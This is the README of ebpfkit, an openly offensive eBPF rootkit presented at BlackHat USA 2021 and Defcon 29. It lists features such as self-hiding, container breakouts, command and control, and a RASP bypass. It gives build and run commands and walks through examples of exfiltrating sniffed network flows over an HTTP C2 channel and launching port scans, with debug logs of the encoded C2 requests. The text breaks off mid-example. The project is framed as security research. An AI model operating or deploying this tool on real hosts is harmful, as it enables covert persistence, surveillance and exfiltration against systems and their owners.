ebpfkit

ebpfkit is a rootkit that leverages multiple eBPF features to implement offensive security techniques. We implemented most of the features you would expect from a rootkit: obfuscation techniques, container breakouts, persistent access, command and control, pivoting, network scanning, Runtime Application Self-Protection (RASP) bypass, etc.

This rootkit was presented at BlackHat USA 2021: With Friends Like eBPF, Who Needs Enemies? and Defcon 29: eBPF, I thought we were friends !. While we presented our container breakouts at BlackHat, you'll want to check out our Defcon talk to see a demo of the network scanner and the RASP bypass. Slides and recordings of the talks will be available soon.

Disclaimer

This project is not an official Datadog product (experimental or otherwise), it is just code that happens to be developed by Datadog employees as part of an independent security research project. The rootkit herein is provided for educational purposes only and for those who are willing and curious to learn about ethical hacking, security and penetration testing with eBPF.

Do not attempt to use these tools to violate the law. The author is not responsible for any illegal action. Misuse of the provided information can result in criminal charges.

System requirements

golang 1.13+
This project was developed on an Ubuntu Focal machine (Linux Kernel 5.4)
Kernel headers are expected to be installed in lib/modules/$(uname -r) (see Makefile)
clang & llvm (11.0.1)
Graphviz (to generate graphs)
go-bindata (go get -u github.com/shuLhan/go-bindata/...)

Build

To build the entire project, run:

# ~ make

To install ebpfkit-client (copies ebpfkit-client to /usr/bin/), run:

# ~ make install_client

Getting started

ebpfkit contains the entire rootkit. It needs to run as root. Run sudo ./bin/ebpfkit -h to get help. You can simply run sudo ./bin/ebpfkit to start the rootkit with default parameters.

# ~ sudo ./bin/ebpfkit -h
Usage:
  ebpfkit [flags]

Flags:
      --append                        (file override feature only) when set, the content of the source file will be appended to the content of the target file
      --comm string                   (file override feature only) comm of the process for which the file override should apply
      --disable-bpf-obfuscation       when set, ebpfkit will not hide itself from the bpf syscall
      --disable-network-probes        when set, ebpfkit will not try to load its network related probes
      --docker string                 path to the Docker daemon executable (default "/usr/bin/dockerd")
  -e, --egress string                 egress interface name (default "enp0s3")
  -h, --help                          help for ebpfkit
  -i, --ingress string                ingress interface name (default "enp0s3")
  -l, --log-level string              log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
      --postgres string               path to the Postgres daemon executable (default "/usr/lib/postgresql/12/bin/postgres")
      --src string                    (file override feature only) source file which content will be used to override the content of the target file
      --target string                 (file override feature only) target file to override
  -p, --target-http-server-port int   Target HTTP server port used for Command and Control (default 8000)
      --webapp-rasp string            path to the webapp on which the RASP is installed
# ~ sudo ./bin/ebpfkit

In order to use the client, you'll need to have an HTTP server to enable the Command and Control feature of the rootkit. We provide a simple webapp that you can start by running ./bin/webapp. Run ./bin/webapp -h to get help.

# ~ ./bin/webapp -h
Usage of ./bin/webapp:
  -ip string
    	ip on which to bind (default "0.0.0.0")
  -port int
    	port to use for the HTTP server (default 8000)
# ~ ./bin/webapp

Once both ebpfkit and the webapp are running, you can start using ebpfkit-client. Run ebpfkit-client -h to get help.

# ~ ebpfkit-client -h
Usage:
  ebpfkit-client [command]

Available Commands:
  docker            Docker image override configuration
  fs_watch          file system watches
  help              Help about any command
  network_discovery network discovery configuration
  pipe_prog         piped programs configuration
  postgres          postgresql authentication control

Flags:
  -h, --help               help for ebpfkit-client
  -l, --log-level string   log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
  -t, --target string      target application URL (default "http://localhost:8000")

Use "ebpfkit-client [command] --help" for more information about a command.

Examples

This section contains only 3 examples. We invite you to watch our BlackHat USA 2021 and Defcon 29 talks to see a demo of all the features of the rootkit. For example, you'll see how you can use Command and Control to change the passwords of a Postgresql database at runtime, or how we successfully hid the rootkit on the host. We also demonstrate 2 container breakouts during our BlackHat talk, and a RASP bypass during our Defcon talk.

Exfiltrate passive network sniffing data

On startup, by default, the rookit will start listening passively for all the network connections made to and from the infected host. You can periodically poll that data using the network_discovery command of ebpfkit-client. It may take a while to extract everything so be patient ...

# ~ ebpfkit-client -l debug network_discovery get
DEBUG[2021-08-04T10:10:46Z]
GET /get_net_dis HTTP/1.1
Host: localhost:8000
User-Agent: 0000________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

DEBUG[2021-08-04T10:10:46Z]
GET /get_fswatch HTTP/1.1
Host: localhost:8000
User-Agent: 0/ebpfkit/network_discovery#________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

DEBUG[2021-08-04T10:10:46Z]
GET /get_net_dis HTTP/1.1
Host: localhost:8000
User-Agent: 0015________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

[...]

INFO[2021-08-04T10:10:57Z] Dumping collected network flows (358):
10.0.2.2:52615 -> 10.0.2.15:8000 (1) UDP 0B TCP 2461B
10.0.2.15:8000 -> 10.0.2.2:52615 (2) UDP 0B TCP 833B
10.0.2.15:0 -> 10.0.2.3:0 (3) UDP 0B TCP 0B
10.0.2.3:0 -> 10.0.2.15:0 (4) UDP 0B TCP 0B
10.0.2.15:22 -> 10.0.2.2:51653 (2) UDP 0B TCP 17120B
10.0.2.2:51653 -> 10.0.2.15:22 (1) UDP 0B TCP 13068B
10.0.2.15:48308 -> 3.233.147.212:443 (2) UDP 0B TCP 532255B

[...]

51.15.175.180:123 -> 10.0.2.15:36389 (1) UDP 76B TCP 0B
10.0.2.15:38116 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
10.0.2.15:38120 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
127.0.0.1:41900 -> 127.0.0.1:8000 (2) UDP 0B TCP 53525B
127.0.0.1:41900 -> 127.0.0.1:8000 (1) UDP 0B TCP 53525B
127.0.0.1:8000 -> 127.0.0.1:41900 (2) UDP 0B TCP 38518B
127.0.0.1:8000 -> 127.0.0.1:41900 (1) UDP 0B TCP 38518B
INFO[2021-08-04T10:10:58Z] Graph generated: /tmp/network-discovery-graph-453667534

The final step is to generate the svg file. We used the fdp layout of Graphviz.

# ~ fdp -Tsvg /tmp/network-discovery-graph-453667534 > ./graphs/passive_network_discovery.svg

Run a port scan on 10.0.2.3, from port 7990 to 8010

Note: for this feature to work, you cannot run ebpfkit-client locally. If you're running the rootkit in a guest VM, expose the webapp port (default 8000) of the guest VM to the host and make the ebpfkit-client request from the host.

To request a port scan, use the network_discovery command. You can specify the target IP, start port and port range.

# ~ ebpfkit-client -l debug network_discovery scan --ip 10.0.2.3 --port 7990 --range 20
DEBUG[2021-08-04T11:59:46Z]
GET /get_net_sca HTTP/1.1
Host: localhost:8000
User-

Ebpfkit

Install / Use

README